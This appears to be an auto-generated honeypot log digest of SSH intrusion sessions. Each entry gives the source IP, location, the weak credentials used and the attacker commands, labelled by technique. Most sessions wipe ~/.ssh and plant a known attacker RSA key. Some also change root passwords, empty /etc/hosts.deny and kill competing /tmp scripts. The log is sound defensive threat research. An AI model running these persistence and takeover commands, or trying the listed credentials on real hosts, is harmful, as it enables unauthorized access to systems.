โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ silent_bamboo_sol (103.186.101.231) โ€” Quแบญn Mแป™t, Vietnam ยท 2 sessions ยท 4 cmds
2026-07-05 04:20 EDT ยท as oracle/1234qwer, oracle/Oracle123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ ashen_burger_root (52.224.109.126) โ€” Boydton, United States ยท 1 session ยท 2 cmds
2026-07-22 18:29 EDT ยท as oracle/qwer1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ baroque_mariachi_root (187.174.238.116) โ€” Miguel Hidalgo, Mexico ยท 2 sessions ยท 4 cmds
2026-07-03 00:08 EDT ยท as oracle/1qa2ws3ed, oracle/qwer1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ derelict_monsoon_root (139.59.31.167) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-07-22 16:29 EDT ยท as oracle/qwer1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ cryptic_baguette_root (85.69.240.210) โ€” Paris, France ยท 1 session ยท 2 cmds
2026-07-22 15:56 EDT ยท as oracle/oracle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ molten_clog_root (91.92.40.47) โ€” Eygelshoven, The Netherlands ยท 37 sessions ยท 37 cmds
2026-07-03 08:41 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—37
๐ŸŽญ listless_lantern_root_89 (47.98.63.89) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-07-22 14:23 EDT ยท as admin/admin
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ aloof_star_root (47.88.23.160) โ€” Minkler, United States ยท 1 session ยท 2 cmds
2026-07-22 11:23 EDT ยท as oracle/1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_monet_root (51.178.84.57) โ€” Strasbourg, France ยท 1 session ยท 2 cmds
2026-07-22 11:16 EDT ยท as oracle/Password1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_abba_root (155.4.244.107) โ€” Helsingborg, Sweden ยท 1 session ยท 2 cmds
2026-07-22 10:59 EDT ยท as oracle/Admin123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_burger_root (50.62.22.47) โ€” Tempe, United States ยท 1 session ยท 2 cmds
2026-07-22 09:19 EDT ยท as oracle/Passw0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_pho_root_154 (103.200.22.154) โ€” Quแบญn Phรบ Nhuแบญn, Vietnam ยท 1 session ยท 2 cmds
2026-07-22 08:39 EDT ยท as oracle/1qaz2wsx
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_yankee_root (202.70.78.237) โ€” Los Angeles, United States ยท 1 session ยท 20 cmds
2026-07-22 07:04 EDT ยท as bitcoin/bitcoin
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ recreate .ssh โ†’ echo RSA key โ†’ passwd bitcoin โ†’ cat /proc/cpuinfo โ†’ grep name โ†’ wc -l โ†’ free -m โ†’ awk memory stats โ†’ which ls โ†’ ls -lh โ†’ crontab -l โ†’ uname -m โ†’ cat /proc/cpuinfo โ†’ grep model โ†’ top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "bitcoin\nYkTJzp1eVWE4\nYkTJzp1eVWE4"|passwd|bash
$ Enter new UNIX password:
$ echo "bitcoin\nYkTJzp1eVWE4\nYkTJzp1eVWE4\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rusty_poutine_root (4.239.240.98) โ€” Toronto, Canada ยท 1 session ยท 19 cmds
2026-07-22 06:53 EDT ยท as root/admin123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:l33BHFtfRibf"|chpasswd|bash โ†’ rm -rf /tmp/secure.sh; pkill -9 secure.sh; pkill -9 auth.sh โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:l33BHFtfRibf"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ironclad_agave_root (189.204.230.91) โ€” Naucalpan, Mexico ยท 1 session ยท 2 cmds
2026-07-22 02:38 EDT ยท as oracle/j5cmmu=kyf0-br8csw
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rabid_wok_root (101.96.197.182) โ€” Haidian, China ยท 1 session ยท 2 cmds
2026-07-22 00:15 EDT ยท as oracle/oracle321
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brazen_adobo_root (120.28.109.188) โ€” San Juan, Philippines ยท 2 sessions ยท 4 cmds
2026-07-21 21:56 EDT ยท as oracle/123456789, oracle/oracle11
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ manic_bistro_root (86.205.236.161) โ€” Laval, France ยท 1 session ยท 2 cmds
2026-07-21 23:19 EDT ยท as oracle/1qaz2wsx#EDC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_bistro_root_136 (157.173.122.136) โ€” Lauterbourg, France ยท 1 session ยท 2 cmds
2026-07-21 22:42 EDT ยท as oracle/1qaz2wsx#EDC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brisk_bibimbap_root (122.35.192.33) โ€” Seongnam-si, South Korea ยท 1 session ยท 2 cmds
2026-07-21 22:17 EDT ยท as oracle/Oracle12
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_stein_root (185.242.3.195) โ€” Frankfurt am Main, Germany ยท 8 sessions ยท 8 cmds
2026-07-09 17:15 EDT ยท as deploy/deploy123, oracle/00000000, oracle/555555
echo
$ echo OK ร—8
๐ŸŽญ midnight_lucha_root (186.96.145.241) โ€” Mexico City, Mexico ยท 4 sessions ยท 4 cmds
2026-06-28 12:34 EDT ยท as root/password, root/root
Ran uname 113x across 113 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—4
๐ŸŽญ rabid_phantom_sol (41.204.82.238) โ€” Yaoundรฉ, Cameroon ยท 2 sessions ยท 4 cmds
2026-07-05 05:05 EDT ยท as oracle/1234qwer, oracle/Oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ wily_cowboy_db (64.23.152.243) โ€” Santa Clara, United States ยท 1 session ยท 2 cmds
2026-07-21 15:51 EDT ยท as oracle/!qazxsw2
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_pho_root_55 (14.234.59.55) โ€” Ho Chi Minh City, Vietnam ยท 1 session ยท 1 cmd
2026-07-21 14:29 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ brisk_stroopwafel_root_224 (85.11.167.224) โ€” Amsterdam, The Netherlands ยท 5 sessions ยท 5 cmds
2026-07-21 14:07 EDT ยท as admin/admin, root/1234, root/123456
echo (repeated echo 5x)
$ echo SHELL_TEST ร—5
๐ŸŽญ nocturnal_fog_root (92.27.101.99) โ€” West Ealing, United Kingdom ยท 1 session ยท 19 cmds
2026-07-21 12:45 EDT ยท as root/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:GzOhIbVkyIRH"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
